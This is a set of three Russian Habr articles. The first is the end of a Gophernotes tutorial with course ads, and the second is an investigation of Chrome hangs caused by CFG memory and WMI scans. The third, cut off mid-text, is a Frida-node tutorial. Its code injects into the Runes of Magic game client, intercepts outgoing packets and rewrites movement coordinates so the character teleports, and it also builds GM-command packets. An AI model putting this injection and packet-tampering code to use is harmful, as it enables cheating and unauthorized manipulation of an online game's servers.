``` Вы можете подтвердить, что ваша локальная установка прошла успешно, выполнив команду ниже. Успешную установку также подтверждает отсутствие сообщений об ошибках. ``` $ "$(go env GOPATH)"/bin/gophernotes ``` Теперь можно открыть блокнот этой командой: ``` $ jupyter --data-dir ``` Фух, переварить такое довольно трудно. Переходим к частям веселее! Запуск Jupyter Notebook ----------------------- Теперь, когда вы настроили Gophernotes, перейдите в папку, где хотите хранить свои блокноты Golang, там мы создадим наш первый блокнот! В правом верхнем углу вы увидите новую кнопку. Нажмите на неё и выберите "Go" в качестве ядра блокнота. ![Создание первого блокнота Go в Jupyter (изображение от автора)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/719/29e/59e/71929e59e46d6050178502040c96a0d8.png "Создание первого блокнота Go в Jupyter (изображение от автора)")Создание первого блокнота Go в Jupyter (изображение от автора)Как только вы сделаете это, вас встретит знакомый чистый блокнот Jupyter. Теперь первым делом нужно изменить название на “My First Golang Notebook” (или любое другое, как показано ниже): ![Изменение названия блокнота](https://habrastorage.org/r/w1560/getpro/habr/upload_files/eff/c3a/278/effc3a27843e4a4376675bfa7a4e7e2a.png "Изменение названия блокнота")Изменение названия блокнотаДавайте напишем какую-нибудь простую программу в наш Golang Notebook. Рекурсивный факториал --------------------- Первое, что делает большинство людей, начиная писать программу на Golang, — импорт необходимых пакетов. Программа простая, поэтому давайте импортируем пакет fmt. ![Импорт пакетов в блокнот Go](https://habrastorage.org/r/w1560/getpro/habr/upload_files/7d6/8ff/798/7d68ff798ebfe4305d9b2f99114ef186.png "Импорт пакетов в блокнот Go")Импорт пакетов в блокнот GoТеперь напишем рекурсивный факториал. Факториал числа *n* — это произведение всех положительных целых чисел, меньших или равных n. Например 3!, то есть факториал числа 3, это 3 x 2 x 1 = 6. Записать функцию вычисления факториала можно в одну из ячеек Jupyter Notebook: ![Рекурсивный факториал на Go](https://habrastorage.org/r/w1560/getpro/habr/upload_files/4fd/987/471/4fd987471f70904a2278e652e7d8db1d.png "Рекурсивный факториал на Go")Рекурсивный факториал на GoОсталось только запустить программу, которая распечатывает значение, вот так: ![Вызов рекурсивной функции вычисления факториала и печать значения](https://habrastorage.org/r/w1560/getpro/habr/upload_files/fbd/fe9/b4d/fbdfe9b4d7361c26d682fec20ba146d6.png "Вызов рекурсивной функции вычисления факториала и печать значения")Вызов рекурсивной функции вычисления факториала и печать значенияБонус ----- Мощь Jupyter Notebook — в возможности аннотирования и комментирования без загромождения кодовой базы. Воспользоваться этими возможностями можно, изменив тип ячейки на markdown, то есть выделить ячейку, нажать ctrl+M и ввести соответствующие примечания. ![Комментирование и аннотирование кодовой базы (изображение от автора)](https://habrastorage.org/r/w1560/getpro/habr/upload_files/704/f46/16e/704f4616e7e0766f9ede67f24086faec.png "Комментирование и аннотирование кодовой базы (изображение от автора)")Комментирование и аннотирование кодовой базы (изображение от автора)Заключение ---------- Вот и всё. Теперь вы можете создать прототип приложения Golang и отслеживать его с помощью блокнота Jupyter. Вы можете поделиться этим блокнотом со своими друзьями или коллегами в целях документирования (или если вы хотите помочь новым разработчикам выполнить логический шаг, который выполняете, когда пишете код самостоятельно). Ссылка на репозиторий [gophernotes](https://github.com/gopherdata/gophernotes). А если вам не хочется ограничиваться столь простыми программами на Go, обратите внимание на специальный курс [Backend-разработчик на Go](https://skillfactory.ru/golang-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GO&utm_term=regular&utm_content=080521). У всех поступивших на курс появляется поддержка в виде экспертов, готовых ответить на вопросы и пояснить нюансы языка. Хотите дополнить свой арсенал навыков умением кодить на GO — добро пожаловать. А по ссылке можно ознакомиться с программой курса. ![](https://habrastorage.org/r/w1560/getpro/habr/upload_files/612/76e/9f0/61276e9f0de32a031593e76d4d13fd18.png)[Узнайте](https://skillfactory.ru/courses/?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ALLCOURSES&utm_term=regular&utm_content=130521), как прокачаться и в других специальностях или освоить их с нуля: * [Профессия Data Scientist](https://skillfactory.ru/dstpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DSPR&utm_term=regular&utm_content=130521) * [Профессия Data Analyst](https://skillfactory.ru/dataanalystpro?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DAPR&utm_term=regular&utm_content=130521) * [Курс по Data Engineering](https://skillfactory.ru/dataengineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEA&utm_term=regular&utm_content=130521) Другие профессии и курсы**ПРОФЕССИИ** * [Профессия Fullstack-разработчик на Python](https://skillfactory.ru/python-fullstack-web-developer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FPW&utm_term=regular&utm_content=130521) * [Профессия Java-разработчик](https://skillfactory.ru/java?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_JAVA&utm_term=regular&utm_content=130521) * [Профессия QA-инженер на JAVA](https://skillfactory.ru/java-qa-engineer?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_QAJA&utm_term=regular&utm_content=130521) * [Профессия Frontend-разработчик](https://skillfactory.ru/frontend?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_FR&utm_term=regular&utm_content=130521) * [Профессия Этичный хакер](https://skillfactory.ru/cybersecurity?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_HACKER&utm_term=regular&utm_content=130521) * [Профессия C++ разработчик](https://skillfactory.ru/cplus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_CPLUS&utm_term=regular&utm_content=130521) * [Профессия Разработчик игр на Unity](https://skillfactory.ru/game-dev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_GAMEDEV&utm_term=regular&utm_content=130521) * [Профессия Веб-разработчик](https://skillfactory.ru/webdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_WEBDEV&utm_term=regular&utm_content=130521) * [Профессия iOS-разработчик с нуля](https://skillfactory.ru/iosdev?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_IOSDEV&utm_term=regular&utm_content=130521) * [Профессия Android-разработчик с нуля](https://skillfactory.ru/android?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ANDR&utm_term=regular&utm_content=130521) **КУРСЫ** * [Курс по Machine Learning](https://skillfactory.ru/ml-programma-machine-learning-online?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_ML&utm_term=regular&utm_content=130521) * [Курс "Machine Learning и Deep Learning"](https://skillfactory.ru/ml-and-dl?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MLDL&utm_term=regular&utm_content=130521) * [Курс "Математика для Data Science"](https://skillfactory.ru/math-stat-for-ds#syllabus?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MAT&utm_term=regular&utm_content=130521) * [Курс "Математика и Machine Learning для Data Science"](https://skillfactory.ru/math_and_ml?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_MATML&utm_term=regular&utm_content=130521) * [Курс "Python для веб-разработки"](https://skillfactory.ru/python-for-web-developers?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_PWS&utm_term=regular&utm_content=130521) * [Курс "Алгоритмы и структуры данных"](https://skillfactory.ru/algo?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_algo&utm_term=regular&utm_content=130521) * [Курс по аналитике данных](https://skillfactory.ru/analytics?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_SDA&utm_term=regular&utm_content=130521) * [Курс по DevOps](https://skillfactory.ru/devops?utm_source=infopartners&utm_medium=habr&utm_campaign=habr_DEVOPS&utm_term=regular&utm_content=130521)
https://habr.com/ru/post/556938/
null
ru
null
# 24-ядерный CPU, а я не могу набрать электронное письмо Я не искал неприятностей. Не запускал процесс сборки Chrome [тысячу раз за выходные](https://randomascii.wordpress.com/2017/07/09/24-core-cpu-and-i-cant-move-my-mouse/), а только занимался самыми обычными задачами 21-го века — просто писал электронное письмо в 10:30 утра. И вдруг Gmail подвис. Я продолжал печатать несколько секунд, но на экране не появлялось никаких символов. Затем внезапно Gmail отвис — и я вернулся к своему *очень важному* письму. Но впоследствии всё повторилось, только на этот раз Gmail ещё дольше не отвечал запросы. [Это странно](https://quoteinvestigator.com/2015/03/02/eureka-funny/)… Трудно устоять перед возможностью провести хорошее расследование, но в данном случае вызов особенно силён. Ведь я в Google работаю над улучшением производительности Chrome для Windows. Обнаружить причину зависания — моя *работа*. И после множества фальстартов и тяжёлых усилий мне всё-таки удалось выяснить, как Chrome, Gmail, Windows и наш IT-отдел вместе помешали мне набрать электронное письмо. По ходу дела нашёлся способ сэкономить значительное количество памяти для некоторых веб-страниц в Chrome. В расследовании оказалось так много нюансов, что я оставлю некоторые для [другой статьи](https://habr.com/post/421153/), а сейчас полностью объясню причины подвисаний. Как обычно, у меня в фоне работает [UIforETW](https://randomascii.wordpress.com/2015/09/01/xperf-basics-recording-a-trace-the-ultimate-easy-way/) и отслеживает циклические буферы, поэтому оставалось только ввести Ctrl+Win+R — и буферы примерно за последние тридцать секунд активности системы сохранились на диск. Я загрузил их в [Windows Performance Analyzer](https://randomascii.wordpress.com/2012/06/19/wpaxperf-trace-analysis-reimagined/) (WPA), но не смог окончательно установить зависание. Когда программа Windows перестаёт передавать сообщения, то выдаются события ETW с указанием, [где именно это произошло](https://randomascii.wordpress.com/2012/05/05/xperf-wait-analysisfinding-idle-time/), поэтому такие типы зависаний тривиально найти. Но, видимо, Chrome продолжал передавать сообщения. Я поискал момент, когда один из ключевых потоков Chrome либо вошёл в активный цикл, либо полностью простаивал, но ничего явного не нашёл. Были некоторые места, где Chrome *преимущественно* простаивал, но даже тогда все ключевые потоки продолжали трудиться, поэтому нельзя было быть уверенным, где произошло зависание — Chrome мог простаивать просто в отсутствие событий: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/8f9/52d/104/8f952d104b83f16e15c03d416ba9df6a.png) ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d48/360/d9d/d48360d9d0f046570c6bff25cc7ca970.png)В UIforETW есть встроенный кейлоггер, который часто полезен при идентификации ключевых точек в трассировке. Тем не менее, по очевидным причинам безопасности он по умолчанию анонимизирует нажатия клавиш, расценивая каждое введённое число как “1”, а каждую букву как “A”. Это затрудняет поиск точного момента зависания, поэтому я изменил тип трассировки с «частной» на «полную» и ожидал зависания. Около 10:30 на следующее утро зависание повторилось. Я сохранил буферы трассировки и сохранил такую пометку в поле информации трассировки UIforETW: > *Набирал «отложить для тех, у кого больше опыт работы с подводным плаванием» — и Gmail подвис в конце слова «тех», а затем возобновил работу в районе слова «опыт». Вкладка Gmail с PID 27368.* Это обычное обсуждение [способов добраться до офиса](https://randomascii.wordpress.com/2017/05/01/commute-challenge-2017/), но важно, что теперь появился способ найти зависание в трассировке ETW. Я загружаю трассировку, смотрю на данные кейлогера в поле Generic Events (события выдаются самим UIforETW, а каждое представляет собой фиолетовый ромб на скриншоте внизу) — и сразу вижу, где произошло зависание, с которым явно коррелирует провал в использовании CPU: ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/235/8d4/3c4/2358d43c4b589c1ca7ddaf86a14f4350.png) Хорошо, но почему Chrome остановился? Вот некоторые намёки: на скриншотах не показано, что каждый раз при этом [WmiPrvSE.exe](https://docs.microsoft.com/en-us/windows/desktop/wmisdk/wmi-start-page) полностью использует гиперпоток CPU. Но это не должно иметь значения. В моей машине 24 ядра/48 потоков, так что потребление одного гиперпотока означает, что система по-прежнему свободна на 98%. Затем я приблизился к явно важному периоду, когда Chrome простаивал — и посмотрел, в частности, на процесс CrRendererMain в chrome.exe (27368), соответствующий вкладке Gmail. > *Примечание: хочу сказать спасибо [себе из 2015 года](https://randomascii.wordpress.com/2015/10/26/thread-naming-in-windows-time-for-something-better/) за просьбу Microsoft улучшить механизмы именования потоков, и спасибо Microsoft за реализацию всего предложенного — названия потоков в WPA просто великолепны!* Проблема прояснилась. В течение 2,81 секунды зависания этот поток запускался по расписанию 440 раз. Обычно запуска каждые 6 мс достаточно, чтобы сделать программу отзывчивой, но по какой-то причине этого не произошло. Я заметил, что каждый раз, когда он просыпался, то был на одном стеке. Если упростить: ``` chrome_child.dll (stack base) KernelBase.dll!VirtualAlloc ntoskrnl.exe!MiCommitVadCfgBits ntoskrnl.exe!MiPopulateCfgBitMap ntoskrnl.exe!ExAcquirePushLockExclusiveEx ntoskrnl.exe!KeWaitForSingleObject (stack leaf) ``` Chrome вызывает VirtualAlloc, который пытается обновить некоторые “CfgBits” и должен получить блокировку. Сначала я предположил, что Chrome вызывал VirtualAlloc 440 раз, что кажется странным. Но реальность оказалась ещё более странной. Chrome вызвал VirtualAlloc однажды — и должен был получить блокировку. Chrome сигнализировал о доступности блокировки, но — 439 раз подряд — когда Chrome просыпался и пытался получить блокировку, она оказывалась недоступна. Блокировка получалась повторно через процесс, упомянутый выше. Это потому что блокировки Windows по своей природе [несправедливы](http://joeduffyblog.com/2006/12/14/anticonvoy-locks-in-windows-server-2003-sp1-and-windows-vista/) — и если поток освобождает блокировку, а затем немедленно её запрашивает снова, то может получать её вечно. Голод. Подробнее об этом в следующий раз. В *каждом* случае процессом, который сигнализирует Chrome захватить блокировку, был WmiPrvSE.ехе, отпускающий блокировку на этот стек: ``` ntoskrnl.exe!KiSystemServiceCopyEnd (stack base) ntoskrnl.exe!NtQueryVirtualMemory ntoskrnl.exe!MmQueryVirtualMemory ntoskrnl.exe!MiUnlockAndDereferenceVad ntoskrnl.exe!ExfTryToWakePushLock (stack leaf) ``` Некоторое время занял разбор в WMI (подробнее об этом в следующий раз), но в итоге я написал программу для воссоздания поведения WMI. У меня были данные выборки CPU, которые показали, на что тратит время WmiPrvSE.exe (в упрощённом виде с некоторыми правками): ``` WmiPerfClass.dll!EnumSelectCounterObjects (stack base) WmiPerfClass.dll!ConvertCounterPath pdh.dll!PdhiTranslateCounter pdh.dll!GetSystemPerfData KernelBase.dll!blah-blah-blah advapi32.dll!blah-blah-blah perfproc.dll!blah-blah-blah perfproc.dll!GetProcessVaData ntdll.dll!NtQueryVirtualMemory ntoskrnl.exe!NtQueryVirtualMemory ntoskrnl.exe!MmQueryVirtualMemory ntoskrnl.exe!MiQueryAddressSpan ntoskrnl.exe!MiQueryAddressState ntoskrnl.exe!MiGetNextPageTable (stack leaf) ``` Воспроизвести медленное сканирование по данным выборки было довольно легко. Интересной частью стека вызовов выше оказался *NtQueryVirtualMemory*, который используется для сканирования памяти процесса и вызывается соответствующим образом именованным *GetProcessVaData*, где *Va*, вероятно, обозначает виртуальный адрес. Моя программа VirtualScan просто вызывала *NtQueryVirtualMemory* в очевидном цикле для сканирования адресного пространства указанного процесса, код работал очень долго для сканирования процесса Gmail (10-15 секунд) — и приводил к зависанию. Но почему? Преимущество собственноручно написанного цикла сканирования в том, что можно генерировать статистику. [*NtQueryVirtualMemory*](https://docs.microsoft.com/en-us/windows-hardware/drivers/ddi/content/ntifs/nf-ntifs-ntqueryvirtualmemory) возвращает данные для каждого смежного диапазона адресного пространства с соответствующими атрибутами. Такими могут быть «всё зарезервировано», «всё зафиксировано с определенными настройками защиты» и т.д. В процессе Gmail около 26 000 этих блоков, но я нашёл другой процесс (как оказалось, это [WPA](https://randomascii.wordpress.com/2012/06/19/wpaxperf-trace-analysis-reimagined/)) с 16 000 блоками памяти, который сканировался очень быстро. В какой-то момент я посмотрел на процесс Gmail с помощью [vmmap](https://docs.microsoft.com/en-us/sysinternals/downloads/vmmap) и заметил, что процесс Gmail занимает немало памяти (361 836 КБ) и много отдельных блоков (49 719), поступающих из единого источника зарезервированной общей памяти — источника размером 2 147 483 648 КБ, то есть 2 ТБ. Что? ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/eee/f51/eab/eeef51eabc8e116208e3f6f838a04840.png) Я знал, что резервирование 2 ТБ используется для [Control Flow Guard](http://www.alex-ionescu.com/?p=246) (CFG), и вспомнил, что “CFG” действительно появлялся в стеках вызовов, где ожидал процесс Gmail в Chrome — на стеке присутствовал *MiCommitVadCfgBits*. Может, большое количество блоков в регионе CFG и было проблемой! Control Flow Guard (CFG) используется для защиты от эксплойтов. Два терабайта зарезервированы как битовый массив, который указывает на валидные косвенные переходы в 128-терабайтном адресном пространстве пользовательского режима. Поэтому я изменил свой сканер виртуальной памяти для подсчёта, сколько блоков находится в регионе CFG (просто поиск резервации 2 ТБ), а сколько блоков помечены как исполняемые. Поскольку память CFG используется для *описания* исполняемой памяти, то я ожидал увидеть в процессе один блок памяти CFG для каждого блока исполняемой памяти. Вместо этого я увидел 98 блоков исполняемой памяти и 24 866 блоков фиксированной CFG-памяти. Существенное расхождение: ```       Scan time, Committed, page tables, committed blocks Total: 41.763s, 1457.7 MiB, 67.7 MiB, 32112, 98 code blocks CFG: 41.759s, 353.3 MiB, 59.2 MiB, 24866 ``` > *vmmap показывает резервирование и выделенную память как блоки, а мой инструмент сканирования считает только выделенные блоки — вот почему vmmap показывает 49 684 блоков, а мой инструмент 24 866* Задним умом это кажется очевидным, но что если битовый массив CFG никогда не очищается? Что если память выделяется в битовом массиве CFG при выделении исполняемой памяти, но не освобождается при освобождении исполняемой памяти? Тогда такое поведение понятно. Воспроизведение от начала до конца ---------------------------------- Следующий шаг — написание программы VAllocStress, которая выделяет и освобождает тысячи блоков исполняемой памяти по случайным адресам. Для этого исполняемого файла должен работать 64-битный режим CFG, и возникли некоторые затруднения, потому что я действительно не знал, что я пытаюсь сделать, но всё заработало. После выделения и освобождения этого количества блоков исполняемой памяти программа должна сидеть в цикле, откуда она изредка пытается выделить/освободить больше исполняемой памяти, и следит, когда этот процесс замедляется. Вот базовый алгоритм для VAllocStress: 1. Многократный цикл: * Выделить исполняемую память с помощью VirtualAlloc по случайному адресу. * Освободить память. 2. Затем бесконечный цикл: * Спящий режим на 500 мс (не хочу свински захватывать процессор). * Выделить немного исполняемой памяти с VirtualAlloc по заданному адресу. * Вывод сообщения, если вызов VirtualAlloc занимает более ~500 мс * Освободить память. Вот и всё. Очень просто. И было так приятно, когда это сработало. Я запустил программу, а потом поручил VirtualScan просканировать процесс VAllocStress. Быстро выяснилось, что блок CFG ужасно фрагментирован, и сканирование занимает *очень* много времени. И моя программа VAllocStress зависала на время сканирования! На этом этапе я смоделировал фрагментацию CFG, длительное время сканирования и зависание. Ура! Первопричина ------------ Оказывается, в JavaScript-движке v8 задействованы объекты CodeRange для управления генератором кода, и каждый объект CodeRange ограничен [диапазоном адресов 128 МБ](https://cs.chromium.org/chromium/src/v8/src/globals.h?q=kMaximalCodeRangeSize&dr=CSs&l=182). Казалось бы, это достаточно небольшой объём, чтобы избежать безудержного распределения CFG, которые мы наблюдаем. Но что, если у вас несколько объектов CodeRange, и они распределяются по случайным адресам, а затем освобождаются? Я настроил конструктор CodeRange, оставил работать Gmail — и нашёл виновника. Каждые пару минут создавался (и уничтожался) новый объект CodeRange. В отладчике легко видеть, как WorkerThread::Start выделяет эти объекты. И тут головоломка сложилась: 1. Gmail использует [сервис-воркеров](https://developers.google.com/web/fundamentals/codelabs/offline/), вероятно, для реализации автономного режима. 2. Они появляются и исчезают каждые несколько минут, потому что так ведут себя сервис-воркеры. 3. Каждый поток воркера получает временный объект CodeRange, который выделяет некоторые исполняемые страницы для JITted-кода JavaScript из случайного расположения в 47-битном адресном пространстве процесса. 4. При выделении новых кодовых страниц производятся записи в резервации памяти CFG на 2 ТБ. 5. Распределения CFG никогда не освобождаются. 6. NtQueryVirtualMemory *мучительно* медленно сканирует память CFG (около 1 мс на блок) по причинам, которые я не понимаю. Медленное сканирование памяти CFG фактически исправлено в Windows 10 RS4 (обновление от апреля 2018 года), что заставило меня ненадолго задуматься, был ли смысл во всём этом расследовании. Оказывается, был. Память ------ Резервирование CFG начинается с простой резервации адресов — никакая память фактически не фиксируется. Но по мере выделения исполняемых страниц часть резервации CFG превращается в выделенную память, используя реальные страницы памяти. И эти страницы никогда не освобождаются. Если вы продолжаете выделять и освобождать случайно расположенные блоки исполняемой памяти, то область CFG может стать бесконечно большой! Ну, это не совсем правда. Блок памяти CFG ограничен кэшем определённого размера. Но это мало утешает, если ограничение составляет [2 ТБ на процесс](https://twitter.com/BruceDawson0xB/status/1029433717670871040)! Худшее, что я видел до сих пор — это когда моя вкладка Gmail работала в течение восьми дней и накопила 353,3 МБ памяти CFG и 59,2 МБ таблиц страниц для отображения этой памяти, что в общей сложности составляет около 400 МБ. По какой-то причине у большинства людей нет таких проблем или они гораздо мягче, чем у меня. Решение ------- Команда v8 (движок JavaScript в Chrome) изменила код таким образом, что он [повторно использует адреса для объектов CodeRange](https://chromium-review.googlesource.com/c/v8/v8/+/1174837), что довольно хорошо устраняет эту проблему. Microsoft уже исправила проблемы с производительностью сканирования памяти CFG. Может, когда-нибудь Microsoft будет освобождать регионы CFG по мере освобождения исполняемой памяти, по крайней мере, в простых случаях, когда освобождаются большие диапазоны адресов. И баг vmmap тоже в обработке. Большинство пользователей и моих коллег никогда не замечали этой проблемы. Я заметил её только потому что: * У меня был включен автономный режим Gmail. * Я работал на старой версии Windows 10. * Наш IT-отдел регулярно проводит WMI-сканирование наших компьютеров. * Я был внимателен. * Мне повезло. Кажется очень маловероятным, что, как один из самых квалифицированных людей для диагностирования этой ошибки, я первым её заметил. Если убрать любой из вышеперечисленных факторов, то ни зависания, ни связанную с этим потерю памяти, возможно, никогда бы не заметили. Кстати, зависания происходили именно в 10:30 утра только потому, что именно в этом время наш IT-отдел запускал соответствующее сканирование. Если хотите запустить сканирование вручную, можете зайти в *Control Panel* → *Configuration Manager* → *Actions*, выбрать *Hardware Inventory Cycle* и нажать *Run Now*. ![](https://habrastorage.org/r/w1560/getpro/habr/post_images/d1b/107/721/d1b10772157cdb03df0d7b5b11c7ccd0.png) Исходный код ------------ Если желаете поиграться, то исходный код VAllocStress и VirtualScan [лежит на Github](https://github.com/randomascii/blogstuff/tree/master/cfg). Нюансы ------ В этом расследовании *много* нюансов. Некоторые из них важные (таблицы страниц), некоторые поучительные (блокировки), а некоторые оказались пустой тратой времени (детали WMI). В следующей статье я расскажу подробнее о них и об ошибке vmmap. Если хотите больше кровавых подробностей — некоторые из которых оказались неправильными или неактуальными — можете следить за расследованием на [crbug.com/870054](https://bugs.chromium.org/p/chromium/issues/detail?id=870054). **UPD.** [Вторая часть](https://habr.com/post/421153/)
https://habr.com/ru/post/420579/
null
ru
null
# Frida-node или немножко странного кода Приветствую всех, кто читает эту статью. Как-то так сложилось, что на хабре практически нет упоминаний про замечательную штуку под названием Frida. Самое толковое из них заключается в паре строк кода и общем описании([HabraFrida](http://habrahabr.ru/company/dsec/blog/253309/), из которой, собственно, я и узнал про существование этой штуковины, за что отдельное спасибо автору). Если вкратце, то Frida занимается тем, что инжектит JS-движок от Гугла(V8) в таргетный процесс(при отсутствии защиты, конечно же), причем встроенный js-код умеет работать с памятью, перехватывать вызовы функций, делать эти самые вызовы и заниматься прочими непотребствами. Если честно, с реверсом я знаком крайне посредственно и, в-основном, из MMORPG Runes of Magic, с которой я и начал учиться кодить и с которой связанна немалая часть моих текущих познаний в программировании. Собственно, до сих пор время от времени развлекаюсь написанием всяких разностей под нее(дырявая, кстати говоря, игрушка… Каких только шикарных багов в ней не находили, начиная от рисовки предметов и заканчивая sql-inject'ом). Вот для нее я и написал немножко тестового кода на Frida, позволяющего делать… разное. Почему node.js? Прост. В конце-концов, это же хаб ненормального программирования) Самой сложной частью для меня оказалась сборка [node-frida](https://github.com/frida/frida-node). Почему? Да было лень ставить 2013 студию. Не повторяйте эту ошибку — под 2015 вряд ли получится собрать. Если кому понадобится, могу позже выложить собранный аддон под win x64. Итак, приступим, собственно, к коду. Сам проект — это обычный проект ноды, стартовый скрипт у меня называется app.js, с него и начнем. ``` var processName = process.argv[2]; var script="'use strict'; "; [ './views/js/frida/romdata.js', './views/js/frida/romlib.js', './views/js/frida/rompackets.js', './views/js/frida/rom.js' ].forEach(function(elem){ script+=fs.readFileSync(elem, 'utf8'); }); frida.attach(processName).then(function (session) { return session.createScript(script); }).then(function (script) { script.load().then(function () { console.log("script loaded"); }); }).catch(function (err) { console.error(err); }); ``` В этом куске кода происходит следующее: считываем название процесса из аргументов(node app.js Client.exe->process.argv[2]->Client.exe) и указываем список js-файлов, которые будут встроены в таргетный процесс. Use strict нужен был ровно в 1 месте для использования class из ES6(самый простой способ, который нашел для реализации нужного функционала). Далее вызывается подключение к целевому процессу, встраивание в него итоговой строки, составленной из содержимого js-файлов и инициализируется итоговый скрипт. Пока вроде просто, не так ли? Кстати, код здесь представлен не весь — только выжимка сути, т.к. код оригинального проекта довольно сильно изгажен всякими-разными тестовыми кусками. Но хватит лирики, пойдем дальше. В самом клиенте используется куча разных функций, вызывающих функции, вызывающих функции, вызывающих функции… убивающих мозг бесполезностью. Я использовал 2 функции, 1 для передачи, 2 для приема(до шифрования трафика). В целом и общем, функция передачи выглядит как-то так: SendToLocal(packetsize, (void\*)packedata); где packetdata — некая структура, в общем виде выглядящая как-то так: ``` struct PG_Move_CtoL_PlayerMoveObject { GamePGCommandEnum Command; int GItemID; RolePosStruct Pos; ClientMoveTypeENUM Type; float vX; float vY; float vZ; int AttachObjID; PG_Move_CtoL_PlayerMoveObject() { Command = EM_PG_Move_CtoL_PlayerMoveObject; } }; ``` что, в общем-то(забегая наперед), приводится примерно к такому виду в js: ``` var Move_CtoL_PlayerMoveObject = new MakeStruct(Memory, memalloc, { command: {type: 'int', value: 24}, gitemid: {type: 'int', value: 2045}, x: {type: 'float', value: 1000.0}, y: {type: 'float', value: 1000.0}, z: {type: 'float', value: 1000.0}, dir: {type: 'float', value: 154}, type: {type: 'int', value: 0}, vX: {type: 'float', value: 0.0}, vY: {type: 'float', value: 0.0}, vZ: {type: 'float', value: 0.0}, attachObjID: {type: 'int', value: 0} }); ``` но об этом позже. Итак, посмотрим на пример перехвата функции. ``` Interceptor.attach(ptr("0x6694E0"), { onEnter: function(args) { var dataptr = ptr(args[2]); var val = Memory.readU32(dataptr); } } ``` В общем-то, все тривиально просто: 0x6694E0 — адрес перехватываемой функции, onEnter — эвент при вызове функции(еще есть onLeave, подробнее смотрите [JS API](http://www.frida.re/docs/javascript-api/)), args — аргументы перехватывамой функции. В моем случае помним, что перехватывается функция SendToLocal((int)size,(void\*)data), а значит, в args[2] лежит указатель на data(ptr преобразовывает его в NativePointer(довольно удобную обертку для работы с указателями). Этот кусок кода эквивалентен чему-то вроде такого в плюсах(если не ошибаюсь, с плюсами у меня как-то не очень сложилось): ``` void SendToLocal( int Size , void* Data ){ int *dataptr=(int*)Data; int val = dataptr[0]; } ``` Если посмотрим чуть выше, на Move\_CtoL\_PlayerMoveObject, то увидим, что val==Move\_CtoL\_PlayerMoveObject.command. Я использую это дальше для получения имени пакета по его command id(var packetname=GamePGCommandEnum.enumName(val), где GamePGCommandEnum — самопальная функция по переносу C++ enum в js, а GamePGCommandEnum.enumName — получение названия enum'а по его id). Прелесть этого вот Interceptor.attach в том, что он вызывается до вызова оригинальной функции, а значит, никто не мешает изменить аргументы или даже перезаписать память передаваемых данных по полученному указателю). К примеру, используем что-нибудь в духе args[1]=10101010101, то поведение функции может крайне озадачить(начиная от краша клиента и заканчивая игнорированием пакета, т.к. изменили размер передаваемых данных). Перейдем к MakeStruct — функции, нужной для десериализации бинарных данных в подобие структуры. ``` function toString(buf, length) { var binary=new Uint8Array(buf); var result=new Uint8Array(length); for(var i=0; i ``` Функции toString/fromString — хэлперы для работы с char array. Остальное, по факту, обертки на считыванием/записью из frida для более удобной работы. Используется это как-то так: ``` Interceptor.attach(ptr("0x60CCC0"), { onEnter: function(args) { var dataptr = ptr(args[1]); var val = Memory.readS16(dataptr); var packetname=GamePGCommandEnum.enumName(val); if(packetname=="EM_PG_Move_CtoL_PlayerMoveObject"){ var Move_CtoL_PlayerMoveObject = new MakeStruct(Memory, dataptr, { command: {type: 'int'}, gitemid: {type: 'int'}, x: {type: 'float'}, y: {type: 'float'}, z: {type: 'float'}, dir: {type: 'float'}, type: {type: 'int'}, vX: {type: 'float'}, vY: {type: 'float'}, vZ: {type: 'float'}, attachObjID: {type: 'int'} }); Move_CtoL_PlayerMoveObject.x.value+=100; Move_CtoL_PlayerMoveObject.update(); Move_CtoL_PlayerMoveObject.print(); } } }); ``` заставит персонажа прикольно телемпаться при беге(координата x будет увеличиваться на 100 относительно реальной, а сервер будет недоумевать по поводу произошедшего). Ну и на закуску — пример вызова функции. Я использую обертку над NativeFunction из Frida. ``` var _sendToLocal=new NativeFunction(ptr("0x60CCC0"), 'void', ['int', 'pointer']); var _setpos=new NativeFunction(ptr("0x79AE70"), 'void', ['pointer']); function _Send(obj){ _sendToLocal(obj.sizeof(),obj.ptr); } class Structs{ _gmcommand(ptr){ var memalloc = ptr||Memory.alloc(4096); var v = ""; var Talk_CtoL_GMCommand = new MakeStruct(Memory, memalloc, { command: {type: 'int', value: 154}, gitemid: {type: 'int', value: 0}, contentsize: {type: 'int', value: v.length}, content: {type: 'string', typesize: 512, size: 'contentsize', value: v}, }); return Talk_CtoL_GMCommand; } _moveTest(ptr){ var memalloc = ptr||Memory.alloc(4096); var Move_CtoL_PlayerMoveObject = new MakeStruct(Memory, memalloc, { command: {type: 'int', value: 24}, gitemid: {type: 'int', value: 2045}, x: {type: 'float', value: 1000.0}, y: {type: 'float', value: 1000.0}, z: {type: 'float', value: 1000.0}, dir: {type: 'float', value: 154}, type: {type: 'int', value: 0}, vX: {type: 'float', value: 0.0}, vY: {type: 'float', value: 0.0}, vZ: {type: 'float', value: 0.0}, attachObjID: {type: 'int', value: 0} }); return Move_CtoL_PlayerMoveObject; } }; function _call(name, args, ptr){ var struct = new Structs(); var s=struct[name](ptr); for(var i in args){ s[i].value=args[i]; } s.update(); _Send(s); } ``` Немножко поподробнее: class — сахарок для js-прототипов, в данном случае позволяющий легко получить функцию по имени без извращений с eval'ом или 